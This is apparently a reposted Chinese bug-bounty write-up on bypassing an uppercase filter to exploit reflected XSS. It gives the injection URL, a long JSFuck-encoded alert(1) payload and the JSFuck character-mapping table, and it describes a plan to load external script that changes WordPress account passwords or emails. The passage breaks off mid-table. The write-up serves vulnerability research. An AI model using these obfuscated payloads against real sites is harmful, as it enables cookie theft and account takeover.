如何绕过大写过滤器实现XSS攻击

虽然我们不是在安全公司工作,但喜欢参加Hackerone上的漏洞悬赏项目,喜欢寻找漏洞 。
而最近发现的漏洞让我感觉JAVAscript代码中的注入漏洞的确会让人防不胜防 。
我们在目标网站上找到了一个和XSS有关的漏洞,其中网页涉及到某种谷歌分析代码,可通过URL进行XSS攻击 。
http://website.com/dir/subdir以上URL的后半部分会直接出现在JavaScript代码中:
function("/DIR/SUBDIR",params);通过使用Burp suite,我尝试在URL末尾添加-alert(1)-来进行攻击,即http://website.com/dir/subdir/"-alert(1)-" 。

如何绕过大写过滤器实现XSS攻击

文章插图
【如何绕过大写过滤器实现XSS攻击】 
结果浏览器告诉我们找不到函数ALERT(1),看来GET参数会被转换为大写 。
然后我们开始测试网站过滤器到底会过滤什么内容,结果发现</script>,//,,. 会受到影响,但是其他敏感字符东西",',[,],{,}并不会 。
所以,我们需要利用这些白名单字符构建payload 。很快我们便想到了jsfuck.com网站,不过它生成的payload虽然可以绕过大写过滤器,但太长了 。
如何绕过大写过滤器实现XSS攻击

文章插图
 
同时,需要说明的是,在Hackerone的悬赏项目中,如果只是执行alert(1),那么只能算是一个低级XSS(奖励较低) 。我们希望将此漏洞的等级升级为高或严重,这就需要证明漏洞可加载外部JS文件,且在和用户无任何交互的情况下就可执行任意Web操作 。
以下是一个用于wordPress/ target=_blank class=infotextkey>WordPress的payload,我们希望能往目标注入类似于这个payload的外部脚本,非法更改帐户密码或email 。
如何绕过大写过滤器实现XSS攻击

文章插图
 
而在JsFuck网站中,一个简单的alert(1)会被转换为如下代码:
"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"这真是又丑又长 。如果我想使用alert(document.cookie),则最终的payload会超过13000个字符 。但是,我发现一旦给目标服务器发送的字符数超出了2700个,Web服务就会返回Error 400 。看来我们需要改善这种混淆方式,缩减它的长度 。
先让我们看看JsFuck是如何工作的(字符间的对应关系) 。
const SIMPLE = { 'false': '![]', 'true': '!0', 'undefined': '0[0]', 'NaN': '+[!0]', 'Infinity': '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000" };const CONSTRUCTORS = { 'Array': '[]', 'Number': '(+0)', 'String': '([]+[])', 'Boolean': '(!0)', 'Function': '[]["fill"]', 'RegExp': 'Function("return/"+0+"/")()' };const MAppING = { 'a': '(false+"")[1]', 'b': '([]["entries"]()+"")[2]', 'c': '([]["fill"]+"")[3]', 'd': '(undefined+"")[2]', 'e': '(true+"")[3]', 'f': '(false+"")[0]', 'g': '(false+[0]+String)[20]', 'h': '(+(101))["to"+String["name"]](21)[1]', 'i': '([false]+undefined)[10]', 'j': '([]["entries"]()+"")[3]', 'k': '(+(20))["to"+String["name"]](21)', 'l': '(false+"")[2]', 'm': '(Number+"")[11]', 'n': '(undefined+"")[1]', 'o': '(true+[]["fill"])[10]', 'p': '(+(211))["to"+String["name"]](31)[1]',


推荐阅读